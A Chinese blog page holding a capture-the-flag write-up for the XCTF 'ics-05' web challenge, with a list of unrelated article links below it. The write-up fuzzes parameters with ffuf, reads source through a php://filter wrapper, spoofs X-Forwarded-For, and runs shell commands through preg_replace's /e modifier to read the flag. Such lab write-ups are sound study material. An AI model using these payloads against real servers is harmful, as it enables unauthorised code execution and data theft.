当前位置: 首页 > news >正文

XCTF-web-ics-05

看一下有什么

image

只有/index.php

image

模糊测试得到一个page

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://223.112.5.141:52073/index.php?FUZZ=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 2305 -s
page

尝试用php伪协议读取源码?page=php://filter/read=convert.base64-encode/resource=index.php

<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<?php
}else{
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] == '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>

改一下HTTP_X_FORWARDED_FOR为127.0.0.1

preg_replace 函数:preg_replace ($pattern, $replacement, $subject) 函数会将 subject 中匹配 pattern 的部分用 replacement 替换,启用 /e 参数,就会将 replacement 当做 php 代码执行

image

flag:?pat=/abc/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=abc

image

http://www.lqws.cn/news/95005.html

相关文章:

  • JavaScript性能优化实战:从核心原理到工程实践的全流程解析
  • 从0开始使用 Vue3 和 TypeScript 搭建项目详细教程
  • 在 Vite 中如何处理静态资源
  • 【论文阅读】Dolphin: Document Image Parsing via Heterogeneous Anchor Prompting
  • 【python与生活】用 Python 从视频中提取音轨:一个实用脚本的开发与应用
  • 八.MySQL复合查询
  • 对老项目进行node升级兼容
  • 生产环境MYSQL常见锁表场景
  • Vue3 中使用 i18n
  • 08.MySQL复合查询详解
  • 可视化大屏工具对比:GoView、DataRoom、积木JimuBI、Metabase、DataEase、Apache Superset 与 Grafana
  • LeetCode第244题_最短单词距离II
  • C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。
  • Java复习Day26
  • 登高架设作业实操考试需要注意哪些安全细节?
  • Docker 镜像深度剖析:构建、管理与优化
  • 基于langchain的简单RAG的实现
  • AXURE安装+汉化-Windows
  • Axure形状类组件图标库(共8套)
  • jenkins结合gitlab实现CI
  • 详解开漏输出和推挽输出
  • Apache Doris 在数据仓库中的作用与应用实践
  • pikachu靶场通关笔记12 XSS关卡08-XSS之htmlspecialchars(四种方法渗透)
  • 奥威BI+AI数据分析:企业数智化转型的加速器
  • HTTP Error 400 Bad request 问题分析解决
  • 【前端并发请求控制:必要性与实现策略】
  • 如何进行页面前端监控
  • 手摸手还原vue3中reactive的get陷阱以及receiver的作用
  • SpringBoot3.2新特性:JdbcClient
  • web攻防之SSTI 注入漏洞